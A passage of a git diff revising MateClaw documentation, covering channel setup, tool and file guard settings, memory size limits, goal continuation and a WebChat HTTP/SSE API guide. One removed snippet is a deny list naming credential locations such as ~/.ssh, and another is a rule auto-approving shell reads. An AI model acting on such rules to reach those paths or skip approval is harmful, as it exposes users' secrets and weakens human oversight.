"your-secret", - "token": "your-token", - "encodingAesKey": "your-encoding-aes-key" + "bot_id": "your-bot-id", + "secret": "your-secret" }, "enabled": true }' @@ -396,8 +393,6 @@ curl -X POST http://localhost:18088/api/v1/channels \ ![Start Chat](/images/channels/wecom/07-chat.png) -Webhook URL: `https://your-domain/api/v1/channels/webhook/wecom` - ::: tip Want WeCom to actually run smoothly? Group multi-user collaboration, quoted messages, appmsg parsing, upload constraints, aibot_respond_msg routing, self-loop detection, TLS retry, platform-level permission locks — every non-obvious optimization and corner case is collected in [WeCom Deep Tuning](./wecom-tuning). ::: @@ -529,8 +524,8 @@ curl -X POST http://localhost:18088/api/v1/channels \ "type": "qq", "agentId": 1, "config": { - "appId": "your-app-id", - "appSecret": "your-app-secret" + "app_id": "your-app-id", + "client_secret": "your-app-secret" }, "enabled": true }' @@ -563,8 +558,7 @@ curl -X POST http://localhost:18088/api/v1/channels \ "agentId": 1, "config": { "bot_token": "xoxb-...", - "app_token": "xapp-...", - "mode": "socket" + "app_token": "xapp-..." }, "enabled": true }' @@ -603,7 +597,7 @@ curl -X POST http://localhost:18088/api/v1/channels \ "name": "WeChat Personal", "type": "weixin", "agentId": 1, - "config": {"botToken": "your-bot-token"}, + "config": {"bot_token": "your-bot-token"}, "enabled": true }' ``` diff --git a/mateclaw-server/src/main/resources/docs/en/chat.md b/mateclaw-server/src/main/resources/docs/en/chat.md index b7eb1a8c..b50203a0 100644 --- a/mateclaw-server/src/main/resources/docs/en/chat.md +++ b/mateclaw-server/src/main/resources/docs/en/chat.md @@ -21,6 +21,8 @@ Segments arrive progressively. They persist to the database in real time — mea This used to not be true. Now it is. +References in the reply are live too: `[[slug]]` wikilinks and the `[1]` / `[2]` **source citation markers** that appear when the agent answers from a knowledge base are all clickable — each one navigates directly to the corresponding wiki page. Every line of the "Sources:" list at the end of a reply is also fully clickable. See [LLM Wiki · Click-through from chat](./wiki#click-through-from-chat). + --- ## The task list, for plans that take time diff --git a/mateclaw-server/src/main/resources/docs/en/config.md b/mateclaw-server/src/main/resources/docs/en/config.md index a106304b..067d622c 100644 --- a/mateclaw-server/src/main/resources/docs/en/config.md +++ b/mateclaw-server/src/main/resources/docs/en/config.md @@ -125,65 +125,56 @@ mate: ```yaml mate: wiki: - chunk-size: 1200 - chunk-overlap: 200 - digestion-concurrency: 2 - llm-model-config-id: 1 - min-concept-occurrences: 2 - max-page-backlinks: 50 - lock-on-manual-edit: true - rebuild-sources-on-update: true + enabled: true + max-chunk-size: 30000 + max-context-chars: 10000 + max-pages-per-raw: 15 + max-parallel-raw-materials: 3 + max-parallel-phase-b-pages: 3 + auto-process-on-upload: true + upload-dir: ./data/wiki-uploads ``` -Eight knobs. Details in [LLM Wiki](./wiki). +Details in [LLM Wiki](./wiki). ### Tool Guard (rule-based) -```yaml -mateclaw: - tool: - guard: - enabled: true - default-policy: require_approval # `allow` / `deny` / `require_approval` - approval-timeout-seconds: 600 - rules: - - tool: ShellExecuteTool - arg-pattern: "^(ls|cat|grep|find)\\s" - action: allow - priority: 100 - - tool: ShellExecuteTool - action: require_approval - priority: 50 -``` +Tool Guard's global switch, default policy, and rules are **not configured in application.yml** — they live in the database (`mate_tool_guard_config` / `mate_tool_guard_rule`) and are edited from the admin **Security** page or via REST: -Details in [Security & Approval](./security). +| Method | Path | What it does | +|---|---|---| +| `GET` / `PUT` | `/api/v1/security/guard/config` | Global switch + default policy (`allow` / `deny` / `require_approval`) | +| `GET` | `/api/v1/security/guard/rules/builtin` | Built-in rules | +| `GET` / `POST` | `/api/v1/security/guard/rules` | List / create custom rules | +| `PUT` | `/api/v1/security/guard/rules/{ruleId}` | Update a rule | +| `PUT` | `/api/v1/security/guard/rules/{ruleId}/toggle` | Enable/disable a single rule | + +Each rule matches on tool name + argument pattern and yields an `allow` / `deny` / `require_approval` action, ordered by priority. Details in [Security & Approval](./security). ### File Guard +File Guard has two layers: + +1. **Allowed / denied path rules** — like Tool Guard, stored in the database and edited from the admin **Security** page; REST is `GET` / `PUT /api/v1/security/guard/config/file-guard`. **Not in application.yml.** +2. **Global fallback sandbox root** — the only piece that lives in application.yml. When a conversation has no per-workspace base path configured, file/shell tools are confined to this root (fail-closed default): + ```yaml mateclaw: - security: - file-guard: - enabled: true - allowed-paths: - - "${user.dir}/workspace" - - "${java.io.tmpdir}/mateclaw" - denied-paths: - - "/etc" - - "/usr" - - "${user.home}/.ssh" - - "${user.home}/.config" + workspace: + sandbox: + enabled: true # set false to restore the legacy unconstrained behaviour + root: ${user.dir}/data/workspace # fallback sandbox root, created at startup ``` +Environment overrides: `MATECLAW_WORKSPACE_SANDBOX_ENABLED` / `MATECLAW_WORKSPACE_SANDBOX_ROOT`. + ### JWT authentication ```yaml mateclaw: - auth: - jwt: - secret: ${JWT_SECRET:your-secret-key-at-least-32-characters-long} - expiration: 86400000 - sliding-window: true + jwt: + secret: ${JWT_SECRET:your-secret-key-at-least-32-characters-long} + expiration: 86400000 ``` ::: warning diff --git a/mateclaw-server/src/main/resources/docs/en/desktop.md b/mateclaw-server/src/main/resources/docs/en/desktop.md index adcfc8a1..0af5733f 100644 --- a/mateclaw-server/src/main/resources/docs/en/desktop.md +++ b/mateclaw-server/src/main/resources/docs/en/desktop.md @@ -211,7 +211,7 @@ Frontend assets can be **hot-updated independently** — a frontend-only fix doe |-----|------| | macOS | `~/Library/Application Support/MateClaw/data/` | | Windows | `%APPDATA%/MateClaw/data/` | -| Linux | `~/.local/share/MateClaw/data/` | +| Linux | `~/.config/MateClaw/data/` | Logs, workspace files, skill scripts, wiki content all live alongside the database in the same user directory. Back it up before major changes. @@ -257,9 +257,9 @@ The desktop app reads env vars the same way the standalone backend does. But the 1. Installed app bundles JRE — you don't need Java. Dev build from source: verify `java -version` shows 21+. 2. Check logs: - - macOS: `~/Library/Logs/MateClaw/` + - macOS: `~/Library/Application Support/MateClaw/logs/` - Windows: `%APPDATA%/MateClaw/logs/` - - Linux: `~/.local/share/MateClaw/logs/` + - Linux: `~/.config/MateClaw/logs/` 3. Launch from terminal to see console output 4. Confirm backend port isn't blocked diff --git a/mateclaw-server/src/main/resources/docs/en/faq.md b/mateclaw-server/src/main/resources/docs/en/faq.md index a6e628e4..72e19322 100644 --- a/mateclaw-server/src/main/resources/docs/en/faq.md +++ b/mateclaw-server/src/main/resources/docs/en/faq.md @@ -226,7 +226,7 @@ You want an **allow rule**, not a blanket approval. `Settings → Security & App ### How long do pending approvals stay pending? -Default 10 minutes, then they expire and become `rejected`. Configure with `mateclaw.tool.guard.approval-timeout-seconds`. +Default 30 minutes, after which they expire and become `timeout` (the agent treats it as a denial). The timeout is set in the Tool Guard config on the admin Security page, not in application.yml. --- diff --git a/mateclaw-server/src/main/resources/docs/en/goals.md b/mateclaw-server/src/main/resources/docs/en/goals.md index 5ded56fc..56af4986 100644 --- a/mateclaw-server/src/main/resources/docs/en/goals.md +++ b/mateclaw-server/src/main/resources/docs/en/goals.md @@ -119,6 +119,39 @@ Feels like: the worker answers a segment → pauses a beat → **keeps going** --- +## Getting unstuck + +::: tip New +Long tasks don't stall because they're hard — they stall because they **get stuck**: hitting the iteration cap with nothing left to show, spinning on a broken tool until the budget is gone, or crashing a plan at a bad step and stopping dead. This group of mechanisms lets the worker pick itself back up, route around failures, and keep going without waiting for your next message. +::: + +### Hard continuation on the iteration cap + +Previously, if a ReAct loop ran out of `max_iterations` (finish reason `MAX_ITERATIONS_REACHED`), the goal subsystem **skipped** that run entirely — no evaluation, no continuation, the task just stopped there. Now it takes a **hard-continuation** path: it resets the iteration counter, clears the "over-limit draft", and gives the worker a **fresh full iteration budget** to carry on. + +This is different from the auto-followup described above. Auto-followup triggers when the evaluator decides "not yet done." Hard continuation triggers specifically when the worker **hits the iteration cap** — it resets the iteration budget itself. Each hard continuation consumes one full iteration quota, so there is a limit: by default, at most **1** per run (compile-time hard ceiling of 3). Set to `0` to disable and restore the old behaviour (hitting the cap ends that run). + +### Stall detection and re-planning + +In Plan-Execute mode, an individual step may **throw an exception** or fall into a **stall** — repeating the same tool call that keeps failing, or getting back identical "no new information" results each time, burning through the tool budget and then "completing" with an empty result that poisons every downstream step that depended on it. + +The runtime signs each tool response and runs a two-level check: + +- **WARN**: after the same call fails several times in a row, a system hint is injected telling the model to try a different approach (each unique call gets at most one warning). +- **HALT**: if the call continues to fail after the warning, the step is marked stuck and the inner loop exits. + +When a step is HALTed or throws an exception, the runtime triggers **re-planning**: the current plan is cleared, and a "completed-steps summary + failure reason + skip the bad step" context is passed back to the planning node to generate a new plan. Re-planning happens at most **1 time per run**. The UI receives a `plan_replan` event carrying the failed step index and the reason. + +### Meta-tool turns don't count (iteration refunds) + +Progressive disclosure tools such as `load_skill` / `enable_tool` are **configuration actions**, not real work. When every tool call in a ReAct turn is one of these meta-tools, that turn's iteration counter **is not incremented** (the iteration is refunded), preventing a model focused on loading skills from burning through its entire budget on setup steps alone. At most 3 refunds per run. + +### Auto-deriving a goal from a multi-step plan + +When a Plan-Execute plan has **two or more steps** and the current conversation has no active goal, the planning node **automatically creates a goal**, using the plan's steps as exit criteria, and broadcasts a `goal_created` event so the UI's goal panel refreshes. This means long plans are naturally held under the goal system's "follow-through to completion" semantics. Controlled by `mateclaw.goal.auto-goal-from-plan` (on by default). + +--- + ## A goal is a checklist (1.5.0+) In 1.4.0 the evaluator gave a completion score (0–1) and a one-line "what's missing" each turn. The problem: **what does 0.8 mean** — which boxes are done, which aren't? You couldn't see it. @@ -275,6 +308,10 @@ mateclaw: auto-followup-cooldown-seconds: 0 # Hard cap on auto-followups within a single graph run (per-message safety net; overall budget is turnBudget). max-followups-per-run: 8 + # Max hard continuations when the iteration cap is hit per run (0 = disabled; compile-time ceiling is 3). + max-hard-continuations-per-run: 1 + # Automatically derive a goal from a multi-step Plan-Execute plan when no active goal exists. + auto-goal-from-plan: true # Model used by the evaluator. Empty = same model as the chat agent. # Recommended: a cheap model like qwen-turbo / glm-4-flash. evaluator-model: "" @@ -293,7 +330,7 @@ Two tables, all `mate_`-prefixed: | `mate_agent_goal` | Goal itself; status / budgets / dual LLM counters / auto-followup config | | `mate_agent_goal_event` | Append-only event log; powers the timeline view | -Flyway migration `V120__agent_goal.sql` (H2 + MySQL dialects). +Flyway migration `V120__agent_goal.sql` (H2 / MySQL / KingbaseES dialects). --- diff --git a/mateclaw-server/src/main/resources/docs/en/mcp.md b/mateclaw-server/src/main/resources/docs/en/mcp.md index 19008718..b78a1713 100644 --- a/mateclaw-server/src/main/resources/docs/en/mcp.md +++ b/mateclaw-server/src/main/resources/docs/en/mcp.md @@ -279,10 +279,10 @@ Before v1.2.0, all employees could call every MCP tool by default — it was a g ### Three problems it solves **Problem 1: Tool namespace collisions.** -Two MCP servers both expose `read_file` — which one wins? v1.3.0 internally uses a **stable server-prefixed callback name** (`{serverName}__{toolName}`) and persists it to `mate_mcp_server.cached_tools`. The picker shows them as `serverA__read_file` and `serverB__read_file`; the agent's prompt maps them back to original names to save tokens and avoid LLM confusion. +Two MCP servers both expose `read_file` — which one wins? v1.3.0 internally uses a **stable server-prefixed callback name** (`{serverName}__{toolName}`) and persists it to `mate_mcp_server.tools_cache_json`. The picker shows them as `serverA__read_file` and `serverB__read_file`; the agent's prompt maps them back to original names to save tokens and avoid LLM confusion. **Problem 2: MCP server / tool rename breaks bindings.** -In v1.2.0, renaming a server orphaned every employee bound to it. v1.3.0 introduces a **persistent tool cache**: every successful list-tools writes tool metadata to a `cached_tools` JSON column on `mate_mcp_server`. When validating bindings and the server is temporarily unreachable, the cache is consulted as fallback — bindings stay marked `stale` and become live again the moment the server reconnects. +In v1.2.0, renaming a server orphaned every employee bound to it. v1.3.0 introduces a **persistent tool cache**: every successful list-tools writes tool metadata to a `tools_cache_json` JSON column on `mate_mcp_server`. When validating bindings and the server is temporarily unreachable, the cache is consulted as fallback — bindings stay marked `stale` and become live again the moment the server reconnects. **Problem 3: Save silently accepted non-existent tool references.** A typo'd `nonexistent-server.weird-tool` would save fine and blow up at runtime. v1.3.0 runs `AgentBindingService.validate(...)` on save: @@ -300,7 +300,7 @@ A typo'd `nonexistent-server.weird-tool` would save fine and blow up at runtime. ### Data contract -- `mate_mcp_server.cached_tools` (new column in v1.3.0): JSON array, each element `{name, description, inputSchema, lastSeenAt}` +- `mate_mcp_server.tools_cache_json` (new column in v1.3.0): JSON array, each element `{name, description, inputSchema, lastSeenAt}` - `mate_agent_tool.tool_name`: stores the **prefixed callback name** `{serverName}__{toolName}` rather than the raw name, so a server rename surfaces immediately as an observable join miss - `AgentBindingService.getEffectiveToolNames(agentId)` is the single source of truth for tool dispatch — runs every turn, ensuring the editor view and the runtime view always agree diff --git a/mateclaw-server/src/main/resources/docs/en/memory.md b/mateclaw-server/src/main/resources/docs/en/memory.md index 9e0911a7..51b49544 100644 --- a/mateclaw-server/src/main/resources/docs/en/memory.md +++ b/mateclaw-server/src/main/resources/docs/en/memory.md @@ -16,7 +16,7 @@ Everything else in MateClaw is static the moment you configure it. Agents, tools ::: tip Your AI dreams about you while you sleep That's not a marketing line. It's literal code in the `memory/dreaming/` package. -Every night at 2 AM (default; configurable) a scheduled job runs — its name is **Dreaming**. It walks every agent's conversation trail from the day, consolidates scattered signals into a coherent understanding of you, filters out one-offs and contradictions and stale facts, promotes recurring patterns into `MEMORY.md`, and appends "what it saw, what it concluded, what it rewrote" to `DREAMS.md` — a human-readable audit trail of how memory got to where it is today. +Every night at 3 AM (default; configurable) a scheduled job runs — its name is **Dreaming**. It walks every agent's conversation trail from the day, consolidates scattered signals into a coherent understanding of you, filters out one-offs and contradictions and stale facts, promotes recurring patterns into `MEMORY.md`, and appends "what it saw, what it concluded, what it rewrote" to `DREAMS.md` — a human-readable audit trail of how memory got to where it is today. When you open MateClaw the next morning, it **picks up where yesterday left off** — not from zero. @@ -45,7 +45,7 @@ This page covers the four layers that make up memory, the files the system write │ Updated: asynchronously, after each meaningful chat │ └────────────────────────────────────────────────────────────┘ │ - ▼ (daily at 2:00 AM, configurable) + ▼ (daily at 3:00 AM, configurable) ┌────────────────────────────────────────────────────────────┐ │ 3. Nightly consolidation (Dreaming) │ │ Scans recent daily notes, finds recurring patterns, │ @@ -157,7 +157,7 @@ From v1.3.0, the [workflow](./workflow) `write_memory` step can write the run's ### Daily notes -Conversation highlights archived by date, in append mode — multiple conversations in one day concatenate into the same file. Not injected into the system prompt (`enabled=false`). They exist so the consolidator has something to scan at 2 AM. +Conversation highlights archived by date, in append mode — multiple conversations in one day concatenate into the same file. Not injected into the system prompt (`enabled=false`). They exist so the consolidator has something to scan at 3 AM. --- @@ -197,7 +197,7 @@ Only files with `enabled=true` are included. Three-stage defense: -**Stage 1 — proactive compression.** When estimated total exceeds 75% of the budget (default window 128k tokens), the system calls the LLM to summarize earlier turns. The most recent 2 turns (4 messages) survive verbatim. The summary is cached for 30 minutes. +**Stage 1 — proactive compression.** When estimated total exceeds 75% of the budget (default window 128k tokens), the system calls the LLM to summarize earlier turns. The tail is retained dynamically based on a token budget, with a floor controlled by `preserve-recent-pairs` and `protect-last-min-messages` (whichever is larger; defaults to at least 10 messages). The summary is cached for 30 minutes. **Stage 2 — emergency recovery.** If the LLM still returns context-too-large, the system stops calling the LLM. It discards older messages, keeps the last 2 turns, and retries once. @@ -281,7 +281,7 @@ The third layer runs on a schedule. Its job is to watch daily notes pile up and ### Trigger methods -- **Automatic** — every agent has a row in the system's scheduled jobs, set to run nightly at 2 AM +- **Automatic** — every agent has a row in the system's scheduled jobs, set to run nightly at 3 AM - **Manual** — `POST /api/v1/memory/{agentId}/emergence` ### Why it's not recursive @@ -327,18 +327,70 @@ What it does: - **Monthly archive** — old reports roll into a compressed monthly archive, browsable in the timeline - **Memory Browser** — timeline, facts, contradictions, diff viewer, and a trust bar across the top -Enable in `application.yml`: +Enable in `application.yml` (these flags all live under `mate.memory`, grouped by phase): ```yaml -mateclaw: +mate: memory: - dream-v2: - enabled: true - fact-projection: true - contradictions: true - morning-card: true + # Phase 1: turn-by-turn lifecycle bus + lifecycle-mediator-enabled: true + dream: + focused-enabled: true # focused dream endpoint + archive-enabled: true # monthly archive rotation + archive-keep-days: 30 + max-candidates-per-dream: 100 + # Phase 2: SOUL auto-evolution + soul-update-interval: 20 # one SOUL.md rewrite every 20 writes (0 = off) + # Phase 3: fact projection + fact: + projection-enabled: true + projection-rebuild-cron: "0 */30 * * * ?" + contradiction-check-enabled: false # contradiction detection (experimental, off by default) + trust-half-life-days: 60 + forget-enabled: true # the "Forget" button in the UI ``` +> The morning card is an endpoint (`GET /api/v1/memory/{agentId}/dream/morning-card`), not a standalone flag — it has data as long as the fact-projection + dream lifecycle is on. + +--- + +## Bounding always-on memory size + +::: tip New +The memory that gets injected into the system prompt on every turn — `user` / `feedback` structured entries, `PROFILE.md`, `MEMORY.md` — has a silent problem: **it only ever grows**. As entries accumulate, each round's token cost climbs steadily. This group of mechanisms puts deterministic size limits on always-on memory. +::: + +Three layers, each covering a different stage: + +### Injection budget (truncate at inject time, disk untouched) + +When `user` / `feedback` structured entries are injected into the system prompt they are sorted by their `Updated:` date (LRU) and only the most recent N are kept. Entries beyond the limit are **discarded at inject time** — the on-disk file is not modified — and the block footer discloses how many were omitted. + +- `mate.memory.system-block-max-chars` (default `4000`): character cap for the always-on structured block; when exceeded, entries are dropped oldest-first. `0` = unlimited. +- `mate.memory.system-block-max-entries-per-type` (default `40`): maximum entries injected per type (`user` / `feedback`). `0` = unlimited. + +### Nightly consolidation (shrink files at the storage layer) + +The injection budget truncates at inject time, but the on-disk files keep growing. **Consolidation** compacts them at the storage layer: a nightly job (default 03:30, on its own schedule independent of [Dreaming](#consolidation-and-dreaming)) walks each agent's shared bucket and all per-owner buckets, and when entry count exceeds the threshold it calls the LLM to merge near-duplicate or stale entries and writes the result back. + +One **safety invariant**: the entry count after consolidation can only decrease — if the model hallucinates additional entries, that write is skipped entirely. + +- `mate.memory.structured-consolidation-enabled` (default `true`): when off, only the injection budget applies — no storage-side merging. +- `mate.memory.structured-consolidation-min-entries` (default `8`): buckets with fewer entries than this skip the LLM call to save cost. +- `mate.memory.structured-consolidation-cron` (default `"0 30 3 * * ?"`): independent schedule; does not affect Dreaming. +- `mate.memory.structured-consolidation-max-owners-per-run` (default `50`): maximum owner buckets processed per agent per run; the rest are deferred to the next run. `0` = unlimited. + +Manual trigger: `POST /api/v1/memory/{agentId}/structured-consolidation` — returns stats including `ownersConsolidated`, `updated`, `entriesBefore`, and `entriesAfter`. + +> Don't confuse this with [Dreaming](#consolidation-and-dreaming): Dreaming merges daily notes into `MEMORY.md` (promoting what matters); consolidation deduplicates and trims `user` / `feedback` structured entries. Two different jobs, two different schedules. + +### File ceiling (deterministic hard cap at rewrite time) + +`PROFILE.md` and `MEMORY.md` are fully rewritten by the LLM. The prompt asks for conciseness, but there is no hard constraint, so files can still grow unbounded. The file ceiling is the **deterministic fallback at write time**: if the content exceeds the budget it is truncated at the last `##` section boundary that still fits (preserving the head of the file), and a truncation marker is appended. + +- `mate.memory.profile-max-chars` (default `4000`): hard character cap for PROFILE.md. `0` = unlimited. +- `mate.memory.memory-md-max-chars` (default `8000`): hard character cap for MEMORY.md. `0` = unlimited. + --- ## Agents reading and writing their own memory @@ -470,6 +522,19 @@ mate: # PERSONAL memory and recall filters by owner_key. Set false for the old shared behavior (all writes # to TEAM). The bare Java-property default is false. lifecycle-mediator-enabled: true + + # --- always-on memory size bounds --- + # Injection budget: always-on user/feedback structured block (LRU truncation at inject time, 0 = unlimited) + system-block-max-chars: 4000 + system-block-max-entries-per-type: 40 + # Nightly consolidation: merge/deduplicate user/feedback entries at the storage layer (independent of dreaming) + structured-consolidation-enabled: true + structured-consolidation-min-entries: 8 + structured-consolidation-cron: "0 30 3 * * ?" + structured-consolidation-max-owners-per-run: 50 + # File ceiling: hard cap applied when PROFILE.md / MEMORY.md are rewritten (section boundary, 0 = unlimited) + profile-max-chars: 4000 + memory-md-max-chars: 8000 ``` Prefix: `mate.memory`. @@ -495,6 +560,7 @@ mate: |--------|------|---------| | POST | `/api/v1/memory/{agentId}/emergence` | Manually trigger consolidation | | POST | `/api/v1/memory/{agentId}/summarize/{conversationId}` | Manually trigger extraction | +| POST | `/api/v1/memory/{agentId}/structured-consolidation` | Manually trigger user/feedback structured-entry consolidation | | GET | `/api/v1/memory/{agentId}/dreaming/status` | Last run, next run, latest DREAMS.md entry | --- diff --git a/mateclaw-server/src/main/resources/docs/en/models.md b/mateclaw-server/src/main/resources/docs/en/models.md index 9effb6f1..3fcab40d 100644 --- a/mateclaw-server/src/main/resources/docs/en/models.md +++ b/mateclaw-server/src/main/resources/docs/en/models.md @@ -23,8 +23,8 @@ MateClaw doesn't care which LLM you use. It talks to every mainstream provider t | **xAI / Grok** | Grok 3, Grok 4 | openai | OpenAI-compatible (base URL + API key); xAI brand icon in the UI | | **DeepSeek** | deepseek-chat, deepseek-coder, **DeepSeek V4 flash + pro** (thinking-mode) | openai | OpenAI-compatible | | **Kimi (Moonshot)** | moonshot-v1-8k/32k/128k | openai | OpenAI-compatible | -| **Zhipu AI** | GLM-5-Turbo, GLM-5V-Turbo, GLM-5, GLM-5.1 | openai | OpenAI-compatible | -| **MiniMax** | abab6.5, abab5.5; expanded video catalog + CN endpoint | openai | OpenAI-compatible | +| **Zhipu AI** | GLM-5-Turbo, GLM-5V-Turbo, GLM-5, GLM-5.1, **GLM-5.2** | openai | OpenAI-compatible; CN + international standard endpoints plus two Coding Plan subscription endpoints | +| **MiniMax** | abab6.5, abab5.5; expanded video catalog + CN endpoint | anthropic | Anthropic Messages API-compatible (endpoint `/anthropic`) | | **SiliconFlow CN/INTL** | Routed inference across hosted models | openai | Two endpoints, OpenAI-compatible | | **OpenCode** | Code-tuned routing | openai | OpenAI-compatible | | **OpenRouter** | 200+ models with free tier | openai | Routes to any upstream with one key | @@ -45,8 +45,8 @@ Five protocols cover everything: | Protocol | Used by | |----------|---------| -| **OpenAI** | OpenAI, Kimi, DeepSeek, MiniMax, Zhipu, OpenRouter, LM Studio, llama.cpp, MLX | -| **Anthropic** | Claude family | +| **OpenAI** | OpenAI, Kimi, DeepSeek, Zhipu, OpenRouter, LM Studio, llama.cpp, MLX | +| **Anthropic** | Claude family, MiniMax | | **DashScope** | Qwen family | | **Gemini** | Google Gemini family | | **Ollama** | Locally hosted models via Ollama | @@ -387,7 +387,7 @@ Every provider you add joins an `AvailableProviderPool` that's probed at startup - **Automatic fallback** — if the primary provider returns an `AUTH_ERROR`, `BILLING`, `MODEL_NOT_FOUND`, `NETWORK`, or `5xx`, the runtime rolls forward to the next provider in the chain instead of bubbling up the error - **Per-agent priority** — bind an agent to "OpenAI first, then Anthropic, then DashScope" via the drag-to-reorder editor in `Settings → Models` - **Live pool state** — green / amber / red badges show each provider's health -- **4-protocol probe** — DashScope, OpenAI-compatible, Anthropic, Ollama-style +- **5-protocol probe** — DashScope, OpenAI-compatible, Anthropic, Gemini, Ollama-style - **Manual reprobe + auto-reprobe on config change** — no restart after rotating a key - **Egress sanitizer** — provider-specific options (e.g., `reasoning_effort` for OpenAI reasoning models) are stripped at egress when failing over to a provider that doesn't support them, so leaked options can't 400 the fallback - **UI distinguishes 401 from session expiry** — provider auth errors and user session expiry now show different messages with different remediation diff --git a/mateclaw-server/src/main/resources/docs/en/multimodal.md b/mateclaw-server/src/main/resources/docs/en/multimodal.md index 63ec19b2..1129ca38 100644 --- a/mateclaw-server/src/main/resources/docs/en/multimodal.md +++ b/mateclaw-server/src/main/resources/docs/en/multimodal.md @@ -2,7 +2,7 @@ Speech, music, images, video — all first-class in MateClaw, not tacked on. -Most AI products treat multimodal generation as a plugin you bolt on later. MateClaw ships with it as core infrastructure: **six image providers, four video providers, three TTS backends, three STT backends, and two music providers**, all unified behind a single tool interface so agents can call any of them without knowing which vendor is underneath. +Most AI products treat multimodal generation as a plugin you bolt on later. MateClaw ships with it as core infrastructure: **six image providers, six video providers, three TTS backends, two STT backends, and two music providers**, all unified behind a single tool interface so agents can call any of them without knowing which vendor is underneath. Configure once. Use everywhere. @@ -100,7 +100,7 @@ Text-to-3D and image-to-3D both work; output is a `.glb` rendered inline by `/logs/mateclaw.log` (macOS: `~/Library/Application Support/MateClaw/logs/mateclaw.log`) | | Model call fails | Wrong API key or network issue. Go back to Settings | | UI is blank | Ctrl+Shift+R to hard-refresh | | Ollama says "does not support tools" | Switch to a function-calling model (qwen3, llama3.1:8b+) | diff --git a/mateclaw-server/src/main/resources/docs/en/webchat.md b/mateclaw-server/src/main/resources/docs/en/webchat.md new file mode 100644 index 00000000..572f6fbb --- /dev/null +++ b/mateclaw-server/src/main/resources/docs/en/webchat.md @@ -0,0 +1,250 @@ +# Web / API Access (WebChat) Guide + +MateClaw's WebChat channel lets external websites reach the conversation engine over plain HTTP / SSE, with no JWT. Visitor identity is isolated under a shared API Key via `visitorId + visitorToken` (HMAC-signed). + +There are two integration paths: + +- **Embeddable widget** — drop in one JS file, call `init(...)` once, and a chat bubble appears in the corner. Fastest to ship; ideal for marketing sites / landing-page support. +- **Custom HTTP / SSE integration** — call the REST + SSE endpoints below and render your own UI. For deeply customized experiences. + +## Embeddable widget (mateclaw-webchat) + +The widget is a zero-dependency browser library shipped in both UMD (` + +``` + +**Option 2: npm (ESM)** + +```bash +npm install @mateclaw/webchat +``` + +```ts +import { init } from '@mateclaw/webchat' + +init({ apiKey: 'your-channel-api-key', server: 'https://' }) +``` + +**Config options** + +| Field | Required | Default | Notes | +|---|---|---|---| +| `apiKey` | yes | — | Channel API Key | +| `server` | yes | — | MateClaw server URL (no trailing slash) | +| `position` | no | `bottom-right` | Bubble position: `bottom-right` / `bottom-left` | +| `primaryColor` | no | `#D97757` | Primary color (any CSS color) | +| `title` | no | `MateClaw` | Panel title | +| `placeholder` | no | `Type a message...` | Input placeholder | + +**Behavior** + +- The visitor ID is generated on first open and persisted in `localStorage` (key `mc-webchat-visitor`), then reused — you don't manage it yourself. +- The panel is themed entirely through CSS variables (`--mc-primary` / `--mc-bg-elevated` / ...); the host page can override them under `:root`. +- The widget consumes the `/stream` SSE protocol described below. For richer interactions (session list, attachments, revocation), call the HTTP endpoints directly and build your own UI. + +## Custom integration: basics + +- **Base URL**: `https:///api/v1/channels/webchat` +- **Auth**: every endpoint requires the header `X-MC-Key: ` (from the channel edit page). +- **Session-management endpoints** additionally require `X-MC-Visitor-Token: ` (issued by the server and returned on the first `/stream` call). +- **Response envelope**: `R` → `{"code": 200, "msg": "...", "data": T}`; anything other than 200 is an error. +- **Charset**: UTF-8. The SSE stream uses `text/event-stream; charset=UTF-8`. + +## Endpoint list + +| Method | Path | Auth | Purpose | +|---|---|---|---| +| POST | `/stream` | API Key | SSE streaming chat (issues visitorToken) | +| GET | `/config` | API Key | Get channel config (title/placeholder/...) | +| POST | `/sessions` | API Key | Explicitly create an empty session thread | +| GET | `/sessions` | + visitorToken | List sessions (excludes archived by default) | +| GET | `/sessions/page` | + visitorToken | Paginated + keyword search | +| PUT | `/sessions/title` | + visitorToken | Rename | +| PUT | `/sessions/pinned` | + visitorToken | Pin / unpin | +| PUT | `/sessions/archive` | + visitorToken | Archive / unarchive | +| DELETE | `/sessions` | + visitorToken | Delete | +| POST | `/sessions/stop` | + visitorToken | Stop an in-flight stream | +| POST | `/sessions/regenerate` | + visitorToken | Regenerate the last assistant reply | +| GET | `/sessions/messages` | + visitorToken | Message list (paginated) | +| POST | `/upload` | + visitorToken | Upload an attachment (returns fileId) | +| GET | `/files` | + visitorToken | Download a file (uploaded or agent-generated) | + +Admin-level (require a MateClaw JWT, outside the permitAll set above): + +| Method | Path | Purpose | +|---|---|---| +| POST | `/api/v1/admin/webchat/revoked-visitor` | Revoke a visitor's management token | +| DELETE | `/api/v1/admin/webchat/revoked-visitor` | Un-revoke | + +> In the admin console, the "Conversations" list hides WebChat visitor sessions from regular admins by default — only a global admin sees them. This is a cross-workspace isolation and visitor-privacy guard. + +## Auth flow + +```text +┌──────────┐ POST /stream {visitorId:"v1", message:"hi"} +│ Client │ ─────────────────────────────────────────────► ┌──────────┐ +└──────────┘ │ MateClaw │ + ▲ └──────────┘ + │ SSE meta event: {sessionId, conversationId, visitorToken} + │ SSE content_delta events: {text} + │ SSE done event + └───────────────────────────────────────────────────────── + │ +┌──────────┐ GET /sessions X-MC-Visitor-Token: │ +│ Client │ ─────────────────────────────────────────────► │ +└──────────┘ ◄──── 200 {code:200, data:[...]} │ +``` + +`visitorToken` is valid for 7 days by default; re-issue it through any `/stream` call once it expires. Every `/stream` call (even with a still-valid token) returns a fresh token in the meta event — the client should keep updating its stored copy. + +## Error codes + +| HTTP | When | +|---|---| +| 400 | Invalid parameter (visitorId / sessionId charset, title length, etc.) | +| 401 | Invalid API Key / missing, expired, or revoked visitorToken | +| 404 | The given sessionId does not exist or does not belong to the visitor | +| 409 | More than 5 inactive empty sessions | + +The error message is in `R.msg` and can be shown directly to the user. + +## SSE event protocol + +`/stream` and `/sessions/regenerate` return `text/event-stream`: + +``` +event: meta +data: {"sessionId":"s1","conversationId":"webchat:abc123:v1:s1","visitorToken":"xxx.yyy"} + +event: phase +data: {"phase":"planning","timestamp":1716700000000} + +event: tool_start +data: {"tool":"web_search"} + +event: tool_end +data: {"tool":"web_search","success":true} + +event: plan +data: {"steps":["search the web","summarize"]} + +event: content_delta +data: {"text":"He"} + +event: content_delta +data: {"text":"llo"} + +event: thinking_delta +data: {"text":"..."} (optional, reasoning trace) + +event: done +data: {"status":"completed"} + +event: error +data: {"message":"..."} (on failure) +``` + +> The SSE spec requires clients to ignore unknown event types. The server may emit internal events prefixed with an underscore (e.g. `_usage_final`); these carry no contract for visitors and can be safely ignored. + +### Optional real-time progress events + +`phase` / 